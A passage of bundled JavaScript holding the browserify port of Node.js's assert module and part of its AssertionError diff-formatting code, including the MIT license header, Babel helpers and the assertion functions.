'function' && define.amd)\n\t\tdefine([], factory);\n\telse {\n\t\tvar a = factory();\n\t\tfor(var i in a) (typeof exports === 'object' ? exports : root)[i] = a[i];\n\t}\n})(typeof self !== 'undefined' ? self : this, function() {\nreturn ","// Currently in sync with Node.js lib/assert.js\n// https://github.com/nodejs/node/commit/2a51ae424a513ec9a6aa3466baa0cc1d55dd4f3b\n// Originally from narwhal.js (http://narwhaljs.org)\n// Copyright (c) 2009 Thomas Robinson <280north.com>\n//\n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the 'Software'), to\n// deal in the Software without restriction, including without limitation the\n// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n// sell copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n//\n// The above copyright notice and this permission notice shall be included in\n// all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n// ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n'use strict';\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nvar _require = require('./internal/errors'),\n _require$codes = _require.codes,\n ERR_AMBIGUOUS_ARGUMENT = _require$codes.ERR_AMBIGUOUS_ARGUMENT,\n ERR_INVALID_ARG_TYPE = _require$codes.ERR_INVALID_ARG_TYPE,\n ERR_INVALID_ARG_VALUE = _require$codes.ERR_INVALID_ARG_VALUE,\n ERR_INVALID_RETURN_VALUE = _require$codes.ERR_INVALID_RETURN_VALUE,\n ERR_MISSING_ARGS = _require$codes.ERR_MISSING_ARGS;\n\nvar AssertionError = require('./internal/assert/assertion_error');\n\nvar _require2 = require('util/'),\n inspect = _require2.inspect;\n\nvar _require$types = require('util/').types,\n isPromise = _require$types.isPromise,\n isRegExp = _require$types.isRegExp;\n\nvar objectAssign = Object.assign ? Object.assign : require('es6-object-assign').assign;\nvar objectIs = Object.is ? Object.is : require('object-is');\nvar errorCache = new Map();\nvar isDeepEqual;\nvar isDeepStrictEqual;\nvar parseExpressionAt;\nvar findNodeAround;\nvar decoder;\n\nfunction lazyLoadComparison() {\n var comparison = require('./internal/util/comparisons');\n\n isDeepEqual = comparison.isDeepEqual;\n isDeepStrictEqual = comparison.isDeepStrictEqual;\n} // Escape control characters but not \\n and \\t to keep the line breaks and\n// indentation intact.\n// eslint-disable-next-line no-control-regex\n\n\nvar escapeSequencesRegExp = /[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f]/g;\nvar meta = [\"\\\\u0000\", \"\\\\u0001\", \"\\\\u0002\", \"\\\\u0003\", \"\\\\u0004\", \"\\\\u0005\", \"\\\\u0006\", \"\\\\u0007\", '\\\\b', '', '', \"\\\\u000b\", '\\\\f', '', \"\\\\u000e\", \"\\\\u000f\", \"\\\\u0010\", \"\\\\u0011\", \"\\\\u0012\", \"\\\\u0013\", \"\\\\u0014\", \"\\\\u0015\", \"\\\\u0016\", \"\\\\u0017\", \"\\\\u0018\", \"\\\\u0019\", \"\\\\u001a\", \"\\\\u001b\", \"\\\\u001c\", \"\\\\u001d\", \"\\\\u001e\", \"\\\\u001f\"];\n\nvar escapeFn = function escapeFn(str) {\n return meta[str.charCodeAt(0)];\n};\n\nvar warned = false; // The assert module provides functions that throw\n// AssertionError's when particular conditions are not met. The\n// assert module must conform to the following interface.\n\nvar assert = module.exports = ok;\nvar NO_EXCEPTION_SENTINEL = {}; // All of the following functions must throw an AssertionError\n// when a corresponding condition is not met, with a message that\n// may be undefined if not provided. All assertion methods provide\n// both the actual and expected values to the assertion error for\n// display purposes.\n\nfunction innerFail(obj) {\n if (obj.message instanceof Error) throw obj.message;\n throw new AssertionError(obj);\n}\n\nfunction fail(actual, expected, message, operator, stackStartFn) {\n var argsLen = arguments.length;\n var internalMessage;\n\n if (argsLen === 0) {\n internalMessage = 'Failed';\n } else if (argsLen === 1) {\n message = actual;\n actual = undefined;\n } else {\n if (warned === false) {\n warned = true;\n var warn = process.emitWarning ? process.emitWarning : console.warn.bind(console);\n warn('assert.fail() with more than one argument is deprecated. ' + 'Please use assert.strictEqual() instead or only pass a message.', 'DeprecationWarning', 'DEP0094');\n }\n\n if (argsLen === 2) operator = '!=';\n }\n\n if (message instanceof Error) throw message;\n var errArgs = {\n actual: actual,\n expected: expected,\n operator: operator === undefined ? 'fail' : operator,\n stackStartFn: stackStartFn || fail\n };\n\n if (message !== undefined) {\n errArgs.message = message;\n }\n\n var err = new AssertionError(errArgs);\n\n if (internalMessage) {\n err.message = internalMessage;\n err.generatedMessage = true;\n }\n\n throw err;\n}\n\nassert.fail = fail; // The AssertionError is defined in internal/error.\n\nassert.AssertionError = AssertionError;\n\nfunction innerOk(fn, argLen, value, message) {\n if (!value) {\n var generatedMessage = false;\n\n if (argLen === 0) {\n generatedMessage = true;\n message = 'No value argument passed to `assert.ok()`';\n } else if (message instanceof Error) {\n throw message;\n }\n\n var err = new AssertionError({\n actual: value,\n expected: true,\n message: message,\n operator: '==',\n stackStartFn: fn\n });\n err.generatedMessage = generatedMessage;\n throw err;\n }\n} // Pure assertion tests whether a value is truthy, as determined\n// by !!value.\n\n\nfunction ok() {\n for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {\n args[_key] = arguments[_key];\n }\n\n innerOk.apply(void 0, [ok, args.length].concat(args));\n}\n\nassert.ok = ok; // The equality assertion tests shallow, coercive equality with ==.\n\n/* eslint-disable no-restricted-properties */\n\nassert.equal = function equal(actual, expected, message) {\n if (arguments.length < 2) {\n throw new ERR_MISSING_ARGS('actual', 'expected');\n } // eslint-disable-next-line eqeqeq\n\n\n if (actual != expected) {\n innerFail({\n actual: actual,\n expected: expected,\n message: message,\n operator: '==',\n stackStartFn: equal\n });\n }\n}; // The non-equality assertion tests for whether two objects are not\n// equal with !=.\n\n\nassert.notEqual = function notEqual(actual, expected, message) {\n if (arguments.length < 2) {\n throw new ERR_MISSING_ARGS('actual', 'expected');\n } // eslint-disable-next-line eqeqeq\n\n\n if (actual == expected) {\n innerFail({\n actual: actual,\n expected: expected,\n message: message,\n operator: '!=',\n stackStartFn: notEqual\n });\n }\n}; // The equivalence assertion tests a deep equality relation.\n\n\nassert.deepEqual = function deepEqual(actual, expected, message) {\n if (arguments.length < 2) {\n throw new ERR_MISSING_ARGS('actual', 'expected');\n }\n\n if (isDeepEqual === undefined) lazyLoadComparison();\n\n if (!isDeepEqual(actual, expected)) {\n innerFail({\n actual: actual,\n expected: expected,\n message: message,\n operator: 'deepEqual',\n stackStartFn: deepEqual\n });\n }\n}; // The non-equivalence assertion tests for any deep inequality.\n\n\nassert.notDeepEqual = function notDeepEqual(actual, expected, message) {\n if (arguments.length < 2) {\n throw new ERR_MISSING_ARGS('actual', 'expected');\n }\n\n if (isDeepEqual === undefined) lazyLoadComparison();\n\n if (isDeepEqual(actual, expected)) {\n innerFail({\n actual: actual,\n expected: expected,\n message: message,\n operator: 'notDeepEqual',\n stackStartFn: notDeepEqual\n });\n }\n};\n/* eslint-enable */\n\n\nassert.deepStrictEqual = function deepStrictEqual(actual, expected, message) {\n if (arguments.length < 2) {\n throw new ERR_MISSING_ARGS('actual', 'expected');\n }\n\n if (isDeepEqual === undefined) lazyLoadComparison();\n\n if (!isDeepStrictEqual(actual, expected)) {\n innerFail({\n actual: actual,\n expected: expected,\n message: message,\n operator: 'deepStrictEqual',\n stackStartFn: deepStrictEqual\n });\n }\n};\n\nassert.notDeepStrictEqual = notDeepStrictEqual;\n\nfunction notDeepStrictEqual(actual, expected, message) {\n if (arguments.length < 2) {\n throw new ERR_MISSING_ARGS('actual', 'expected');\n }\n\n if (isDeepEqual === undefined) lazyLoadComparison();\n\n if (isDeepStrictEqual(actual, expected)) {\n innerFail({\n actual: actual,\n expected: expected,\n message: message,\n operator: 'notDeepStrictEqual',\n stackStartFn: notDeepStrictEqual\n });\n }\n}\n\nassert.strictEqual = function strictEqual(actual, expected, message) {\n if (arguments.length < 2) {\n throw new ERR_MISSING_ARGS('actual', 'expected');\n }\n\n if (!objectIs(actual, expected)) {\n innerFail({\n actual: actual,\n expected: expected,\n message: message,\n operator: 'strictEqual',\n stackStartFn: strictEqual\n });\n }\n};\n\nassert.notStrictEqual = function notStrictEqual(actual, expected, message) {\n if (arguments.length < 2) {\n throw new ERR_MISSING_ARGS('actual', 'expected');\n }\n\n if (objectIs(actual, expected)) {\n innerFail({\n actual: actual,\n expected: expected,\n message: message,\n operator: 'notStrictEqual',\n stackStartFn: notStrictEqual\n });\n }\n};\n\nvar Comparison = function Comparison(obj, keys, actual) {\n var _this = this;\n\n _classCallCheck(this, Comparison);\n\n keys.forEach(function (key) {\n if (key in obj) {\n if (actual !== undefined && typeof actual[key] === 'string' && isRegExp(obj[key]) && obj[key].test(actual[key])) {\n _this[key] = actual[key];\n } else {\n _this[key] = obj[key];\n }\n }\n });\n};\n\nfunction compareExceptionKey(actual, expected, key, message, keys, fn) {\n if (!(key in actual) || !isDeepStrictEqual(actual[key], expected[key])) {\n if (!message) {\n // Create placeholder objects to create a nice output.\n var a = new Comparison(actual, keys);\n var b = new Comparison(expected, keys, actual);\n var err = new AssertionError({\n actual: a,\n expected: b,\n operator: 'deepStrictEqual',\n stackStartFn: fn\n });\n err.actual = actual;\n err.expected = expected;\n err.operator = fn.name;\n throw err;\n }\n\n innerFail({\n actual: actual,\n expected: expected,\n message: message,\n operator: fn.name,\n stackStartFn: fn\n });\n }\n}\n\nfunction expectedException(actual, expected, msg, fn) {\n if (typeof expected !== 'function') {\n if (isRegExp(expected)) return expected.test(actual); // assert.doesNotThrow does not accept objects.\n\n if (arguments.length === 2) {\n throw new ERR_INVALID_ARG_TYPE('expected', ['Function', 'RegExp'], expected);\n } // Handle primitives properly.\n\n\n if (_typeof(actual) !== 'object' || actual === null) {\n var err = new AssertionError({\n actual: actual,\n expected: expected,\n message: msg,\n operator: 'deepStrictEqual',\n stackStartFn: fn\n });\n err.operator = fn.name;\n throw err;\n }\n\n var keys = Object.keys(expected); // Special handle errors to make sure the name and the message are compared\n // as well.\n\n if (expected instanceof Error) {\n keys.push('name', 'message');\n } else if (keys.length === 0) {\n throw new ERR_INVALID_ARG_VALUE('error', expected, 'may not be an empty object');\n }\n\n if (isDeepEqual === undefined) lazyLoadComparison();\n keys.forEach(function (key) {\n if (typeof actual[key] === 'string' && isRegExp(expected[key]) && expected[key].test(actual[key])) {\n return;\n }\n\n compareExceptionKey(actual, expected, key, msg, keys, fn);\n });\n return true;\n } // Guard instanceof against arrow functions as they don't have a prototype.\n\n\n if (expected.prototype !== undefined && actual instanceof expected) {\n return true;\n }\n\n if (Error.isPrototypeOf(expected)) {\n return false;\n }\n\n return expected.call({}, actual) === true;\n}\n\nfunction getActual(fn) {\n if (typeof fn !== 'function') {\n throw new ERR_INVALID_ARG_TYPE('fn', 'Function', fn);\n }\n\n try {\n fn();\n } catch (e) {\n return e;\n }\n\n return NO_EXCEPTION_SENTINEL;\n}\n\nfunction checkIsPromise(obj) {\n // Accept native ES6 promises and promises that are implemented in a similar\n // way. Do not accept thenables that use a function as `obj` and that have no\n // `catch` handler.\n // TODO: thenables are checked up until they have the correct methods,\n // but according to documentation, the `then` method should receive\n // the `fulfill` and `reject` arguments as well or it may be never resolved.\n return isPromise(obj) || obj !== null && _typeof(obj) === 'object' && typeof obj.then === 'function' && typeof obj.catch === 'function';\n}\n\nfunction waitForActual(promiseFn) {\n return Promise.resolve().then(function () {\n var resultPromise;\n\n if (typeof promiseFn === 'function') {\n // Return a rejected promise if `promiseFn` throws synchronously.\n resultPromise = promiseFn(); // Fail in case no promise is returned.\n\n if (!checkIsPromise(resultPromise)) {\n throw new ERR_INVALID_RETURN_VALUE('instance of Promise', 'promiseFn', resultPromise);\n }\n } else if (checkIsPromise(promiseFn)) {\n resultPromise = promiseFn;\n } else {\n throw new ERR_INVALID_ARG_TYPE('promiseFn', ['Function', 'Promise'], promiseFn);\n }\n\n return Promise.resolve().then(function () {\n return resultPromise;\n }).then(function () {\n return NO_EXCEPTION_SENTINEL;\n }).catch(function (e) {\n return e;\n });\n });\n}\n\nfunction expectsError(stackStartFn, actual, error, message) {\n if (typeof error === 'string') {\n if (arguments.length === 4) {\n throw new ERR_INVALID_ARG_TYPE('error', ['Object', 'Error', 'Function', 'RegExp'], error);\n }\n\n if (_typeof(actual) === 'object' && actual !== null) {\n if (actual.message === error) {\n throw new ERR_AMBIGUOUS_ARGUMENT('error/message', \"The error message \\\"\".concat(actual.message, \"\\\" is identical to the message.\"));\n }\n } else if (actual === error) {\n throw new ERR_AMBIGUOUS_ARGUMENT('error/message', \"The error \\\"\".concat(actual, \"\\\" is identical to the message.\"));\n }\n\n message = error;\n error = undefined;\n } else if (error != null && _typeof(error) !== 'object' && typeof error !== 'function') {\n throw new ERR_INVALID_ARG_TYPE('error', ['Object', 'Error', 'Function', 'RegExp'], error);\n }\n\n if (actual === NO_EXCEPTION_SENTINEL) {\n var details = '';\n\n if (error && error.name) {\n details += \" (\".concat(error.name, \")\");\n }\n\n details += message ? \": \".concat(message) : '.';\n var fnType = stackStartFn.name === 'rejects' ? 'rejection' : 'exception';\n innerFail({\n actual: undefined,\n expected: error,\n operator: stackStartFn.name,\n message: \"Missing expected \".concat(fnType).concat(details),\n stackStartFn: stackStartFn\n });\n }\n\n if (error && !expectedException(actual, error, message, stackStartFn)) {\n throw actual;\n }\n}\n\nfunction expectsNoError(stackStartFn, actual, error, message) {\n if (actual === NO_EXCEPTION_SENTINEL) return;\n\n if (typeof error === 'string') {\n message = error;\n error = undefined;\n }\n\n if (!error || expectedException(actual, error)) {\n var details = message ? \": \".concat(message) : '.';\n var fnType = stackStartFn.name === 'doesNotReject' ? 'rejection' : 'exception';\n innerFail({\n actual: actual,\n expected: error,\n operator: stackStartFn.name,\n message: \"Got unwanted \".concat(fnType).concat(details, \"\\n\") + \"Actual message: \\\"\".concat(actual && actual.message, \"\\\"\"),\n stackStartFn: stackStartFn\n });\n }\n\n throw actual;\n}\n\nassert.throws = function throws(promiseFn) {\n for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {\n args[_key2 - 1] = arguments[_key2];\n }\n\n expectsError.apply(void 0, [throws, getActual(promiseFn)].concat(args));\n};\n\nassert.rejects = function rejects(promiseFn) {\n for (var _len3 = arguments.length, args = new Array(_len3 > 1 ? _len3 - 1 : 0), _key3 = 1; _key3 < _len3; _key3++) {\n args[_key3 - 1] = arguments[_key3];\n }\n\n return waitForActual(promiseFn).then(function (result) {\n return expectsError.apply(void 0, [rejects, result].concat(args));\n });\n};\n\nassert.doesNotThrow = function doesNotThrow(fn) {\n for (var _len4 = arguments.length, args = new Array(_len4 > 1 ? _len4 - 1 : 0), _key4 = 1; _key4 < _len4; _key4++) {\n args[_key4 - 1] = arguments[_key4];\n }\n\n expectsNoError.apply(void 0, [doesNotThrow, getActual(fn)].concat(args));\n};\n\nassert.doesNotReject = function doesNotReject(fn) {\n for (var _len5 = arguments.length, args = new Array(_len5 > 1 ? _len5 - 1 : 0), _key5 = 1; _key5 < _len5; _key5++) {\n args[_key5 - 1] = arguments[_key5];\n }\n\n return waitForActual(fn).then(function (result) {\n return expectsNoError.apply(void 0, [doesNotReject, result].concat(args));\n });\n};\n\nassert.ifError = function ifError(err) {\n if (err !== null && err !== undefined) {\n var message = 'ifError got unwanted exception: ';\n\n if (_typeof(err) === 'object' && typeof err.message === 'string') {\n if (err.message.length === 0 && err.constructor) {\n message += err.constructor.name;\n } else {\n message += err.message;\n }\n } else {\n message += inspect(err);\n }\n\n var newErr = new AssertionError({\n actual: err,\n expected: null,\n operator: 'ifError',\n message: message,\n stackStartFn: ifError\n }); // Make sure we actually have a stack trace!\n\n var origStack = err.stack;\n\n if (typeof origStack === 'string') {\n // This will remove any duplicated frames from the error frames taken\n // from within `ifError` and add the original error frames to the newly\n // created ones.\n var tmp2 = origStack.split('\\n');\n tmp2.shift(); // Filter all frames existing in err.stack.\n\n var tmp1 = newErr.stack.split('\\n');\n\n for (var i = 0; i < tmp2.length; i++) {\n // Find the first occurrence of the frame.\n var pos = tmp1.indexOf(tmp2[i]);\n\n if (pos !== -1) {\n // Only keep new frames.\n tmp1 = tmp1.slice(0, pos);\n break;\n }\n }\n\n newErr.stack = \"\".concat(tmp1.join('\\n'), \"\\n\").concat(tmp2.join('\\n'));\n }\n\n throw newErr;\n }\n}; // Expose a strict only variant of assert\n\n\nfunction strict() {\n for (var _len6 = arguments.length, args = new Array(_len6), _key6 = 0; _key6 < _len6; _key6++) {\n args[_key6] = arguments[_key6];\n }\n\n innerOk.apply(void 0, [strict, args.length].concat(args));\n}\n\nassert.strict = objectAssign(strict, assert, {\n equal: assert.strictEqual,\n deepEqual: assert.deepStrictEqual,\n notEqual: assert.notStrictEqual,\n notDeepEqual: assert.notDeepStrictEqual\n});\nassert.strict.strict = assert.strict;","// Currently in sync with Node.js lib/internal/assert/assertion_error.js\n// https://github.com/nodejs/node/commit/0817840f775032169ddd70c85ac059f18ffcc81c\n'use strict';\n\nfunction _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; var ownKeys = Object.keys(source); if (typeof Object.getOwnPropertySymbols === 'function') { ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { return Object.getOwnPropertyDescriptor(source, sym).enumerable; })); } ownKeys.forEach(function (key) { _defineProperty(target, key, source[key]); }); } return target; }\n\nfunction _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _wrapNativeSuper(Class) { var _cache = typeof Map === \"function\" ? new Map() : undefined; _wrapNativeSuper = function _wrapNativeSuper(Class) { if (Class === null || !_isNativeFunction(Class)) return Class; if (typeof Class !== \"function\") { throw new TypeError(\"Super expression must either be null or a function\"); } if (typeof _cache !== \"undefined\") { if (_cache.has(Class)) return _cache.get(Class); _cache.set(Class, Wrapper); } function Wrapper() { return _construct(Class, arguments, _getPrototypeOf(this).constructor); } Wrapper.prototype = Object.create(Class.prototype, { constructor: { value: Wrapper, enumerable: false, writable: true, configurable: true } }); return _setPrototypeOf(Wrapper, Class); }; return _wrapNativeSuper(Class); }\n\nfunction isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } }\n\nfunction _construct(Parent, args, Class) { if (isNativeReflectConstruct()) { _construct = Reflect.construct; } else { _construct = function _construct(Parent, args, Class) { var a = [null]; a.push.apply(a, args); var Constructor = Function.bind.apply(Parent, a); var instance = new Constructor(); if (Class) _setPrototypeOf(instance, Class.prototype); return instance; }; } return _construct.apply(null, arguments); }\n\nfunction _isNativeFunction(fn) { return Function.toString.call(fn).indexOf(\"[native code]\") !== -1; }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nvar _require = require('util/'),\n inspect = _require.inspect;\n\nvar _require2 = require('../errors'),\n ERR_INVALID_ARG_TYPE = _require2.codes.ERR_INVALID_ARG_TYPE; // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith\n\n\nfunction endsWith(str, search, this_len) {\n if (this_len === undefined || this_len > str.length) {\n this_len = str.length;\n }\n\n return str.substring(this_len - search.length, this_len) === search;\n} // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/repeat\n\n\nfunction repeat(str, count) {\n count = Math.floor(count);\n if (str.length == 0 || count == 0) return '';\n var maxCount = str.length * count;\n count = Math.floor(Math.log(count) / Math.log(2));\n\n while (count) {\n str += str;\n count--;\n }\n\n str += str.substring(0, maxCount - str.length);\n return str;\n}\n\nvar blue = '';\nvar green = '';\nvar red = '';\nvar white = '';\nvar kReadableOperator = {\n deepStrictEqual: 'Expected values to be strictly deep-equal:',\n strictEqual: 'Expected values to be strictly equal:',\n strictEqualObject: 'Expected \"actual\" to be reference-equal to \"expected\":',\n deepEqual: 'Expected values to be loosely deep-equal:',\n equal: 'Expected values to be loosely equal:',\n notDeepStrictEqual: 'Expected \"actual\" not to be strictly deep-equal to:',\n notStrictEqual: 'Expected \"actual\" to be strictly unequal to:',\n notStrictEqualObject: 'Expected \"actual\" not to be reference-equal to \"expected\":',\n notDeepEqual: 'Expected \"actual\" not to be loosely deep-equal to:',\n notEqual: 'Expected \"actual\" to be loosely unequal to:',\n notIdentical: 'Values identical but not reference-equal:'\n}; // Comparing short primitives should just show === / !== instead of using the\n// diff.\n\nvar kMaxShortLength = 10;\n\nfunction copyError(source) {\n var keys = Object.keys(source);\n var target = Object.create(Object.getPrototypeOf(source));\n keys.forEach(function (key) {\n target[key] = source[key];\n });\n Object.defineProperty(target, 'message', {\n value: source.message\n });\n return target;\n}\n\nfunction inspectValue(val) {\n // The util.inspect default values could be changed. This makes sure the\n // error messages contain the necessary information nevertheless.\n return inspect(val, {\n compact: false,\n customInspect: false,\n depth: 1000,\n maxArrayLength: Infinity,\n // Assert compares only enumerable properties (with a few exceptions).\n showHidden: false,\n // Having a long line as error is better than wrapping the line for\n // comparison for now.\n // TODO(BridgeAR): `breakLength` should be limited as soon as soon as we\n // have meta information about the inspected properties (i.e., know where\n // in what line the property starts and ends).\n breakLength: Infinity,\n // Assert does not detect proxies currently.\n showProxy: false,\n sorted: true,\n // Inspect getters as we also check them when comparing entries.\n getters: true\n });\n}\n\nfunction createErrDiff(actual, expected, operator) {\n var other = '';\n var res = '';\n var lastPos = 0;\n var end = '';\n var skipped = false;\n var actualInspected = inspectValue(actual);\n var actualLines = actualInspected.split('\\n');\n var expectedLines = inspectValue(expected).split('\\n');\n var i = 0;\n var indicator = ''; // In case both values are objects explicitly mark them as not reference equal\n // for the `strictEqual` operator.\n\n if (operator === 'strictEqual' && _typeof(actual) === 'object' && _typeof(expected) === 'object' && actual !== null && expected !== null) {\n operator = 'strictEqualObject';\n } // If \"actual\" and \"expected\" fit on a single line and they are not strictly\n // equal, check further special handling.\n\n\n if (actualLines.length === 1 && expectedLines.length === 1 && actualLines[0] !== expectedLines[0]) {\n var inputLength = actualLines[0].length + expectedLines[0].length; // If the character length of \"actual\" and \"expected\" together is less than\n // kMaxShortLength and if neither is an object and at least one of them is\n // not `zero`, use the strict equal comparison to visualize the output.\n\n if (inputLength <= kMaxShortLength) {\n if ((_typeof(actual) !== 'object' || actual === null) && (_typeof(expected) !== 'object' || expected === null) && (actual !== 0 || expected !== 0)) {\n // -0 === +0\n return \"\".concat(kReadableOperator[operator], \"\\n\\n\") + \"\".concat(actualLines[0], \" !== \").concat(expectedLines[0], \"\\n\");\n }\n } else if (operator !== 'strictEqualObject') {\n // If the stderr is a tty and the input length is lower than the current\n // columns per line, add a mismatch indicator below the output. If it is\n // not a tty, use a default value of 80 characters.\n var maxLength = process.stderr && process.stderr.isTTY ? process.stderr.columns : 80;\n\n if (inputLength < maxLength) {\n while (actualLines[0][i] === expectedLines[0][i]) {\n i++;\n } // Ignore the first characters.\n\n\n if (i > 2) {\n // Add position indicator for the first mismatch in case it is a\n // single line and the input length is less than the column length.\n indicator = \"\\n \".concat(repeat(' ', i), \"^\");\n i = 0;\n }\n }\n }\n } // Remove all ending lines that match (this optimizes the output for\n // readability by reducing the number of total changed lines).\n\n\n var a = actualLines[actualLines.length - 1];\n var b = expectedLines[expectedLines.length - 1];\n\n while (a === b) {\n if (i++ < 2) {\n end = \"\\n \".concat(a).concat(end);\n } else {\n other = a;\n }\n\n actualLines.pop();\n expectedLines.pop();\n if (actualLines.length === 0 || expectedLines.length === 0) break;\n a = actualLines[actualLines.length - 1];\n b = expectedLines[expectedLines.length - 1];\n }\n\n var maxLines = Math.max(actualLines.length, expectedLines.length); // Strict equal with identical objects that are not identical by reference.\n // E.g., assert.deepStrictEqual({ a: Symbol() }, { a: Symbol() })\n\n if (maxLines === 0) {\n // We have to get the result again. The lines were all removed before.\n var _actualLines = actualInspected.split('\\n'); // Only remove lines in case it makes sense to collapse those.\n // TODO: Accept env to always show the full error.\n\n\n if (_actualLines.length > 30) {\n _actualLines[26] = \"\".concat(blue, \"...\").concat(white);\n\n while (_actualLines.length > 27) {\n _actualLines.pop();\n }\n }\n\n return \"\".concat(kReadableOperator.notIdentical, \"\\n\\n\").concat(_actualLines.join('\\n'), \"\\n\");\n }\n\n if (i > 3) {\n end = \"\\n\".concat(blue, \"...\").concat(white).concat(end);\n skipped = true;\n }\n\n if (other !== '') {\n end = \"\\n \".concat(other).concat(end);\n other = '';\n }\n\n var printedLines = 0;\n var msg = kReadableOperator[operator] + \"\\n\".concat(green, \"+ actual\").concat(white, \" \").concat(red, \"- expected\").concat(white);\n var skippedMsg = \" \".concat(blue, \"...\").concat(white, \" Lines skipped\");\n\n for (i = 0; i < maxLines; i++) {\n // Only extra expected lines exist\n var cur = i - lastPos;\n\n if (actualLines.length < i + 1) {\n // If the last diverging line is more than one line above and the\n // current line is at least line three, add some of the former lines and\n // also add dots to indicate skipped entries.\n if (cur > 1 && i > 2) {\n if (cur > 4) {\n res += \"\\n\".concat(blue, \"...\").concat(white);\n skipped = true;\n } else if (cur > 3) {\n res += \"\\n \".concat(expectedLines[i - 2]);\n printedLines++;\n }\n\n res += \"\\n \".concat(expectedLines[i - 1]);\n printedLines++;\n } // Mark the current line as the last diverging one.\n\n\n lastPos = i; // Add the expected line to the cache.\n\n other += \"\\n\".concat(red, \"-\").concat(white, \" \").concat(expectedLines[i]);\n printedLines++; // Only extra actual lines exist\n } else if (expectedLines.length < i + 1) {\n // If the last diverging line is more than one line above and the\n // current line is at least line three, add some of the former lines and\n // also add dots to indicate skipped entries.\n if (cur > 1 && i > 2) {\n if (cur > 4) {\n res += \"\\n\".concat(blue, \"...\").concat(white);\n skipped = true;\n } else if (cur > 3) {\n res += \"\\n \".concat(actualLines[i - 2]);\n printedLines++;\n }\n\n res += \"\\n \".concat(actualLines[i - 1]);\n printedLines++;\n } // Mark the current line as the last diverging one.\n\n\n lastPos = i; // Add the actual line to the result.\n\n res += \"\\n\".concat(green, \"+\").concat(white, \" \").concat(actualLines[i]);\n printedLines++; // Lines diverge\n } else {\n var expectedLine = expectedLines[i];\n var actualLine = actualLines[i]; // If the lines diverge, specifically check for lines that only diverge by\n // a trailing comma. In that case it is actually identical and we should\n // mark it as such.\n\n var divergingLines = actualLine !== expectedLine && (!endsWith(actualLine, ',') || actualLine.slice(0, -1) !== expectedLine); // If the expected line has a trailing comma but is otherwise identical,\n // add a comma at the end of the actual line. Otherwise the output could\n // look weird as in:\n //\n // [\n // 1 // No comma at the end!\n // + 2\n // ]\n //\n\n if (divergingLines && endsWith(expectedLine, ',') && expectedLine.slice(0, -1) === actualLine) {\n divergingLines = false;\n actualLine += ',';\n }\n\n if (divergingLines) {\n // If the last diverging line is more than one line above and the\n // current line is at least line three, add some of the former lines and\n // also add dots to indicate skipped entries.\n if (cur > 1 && i > 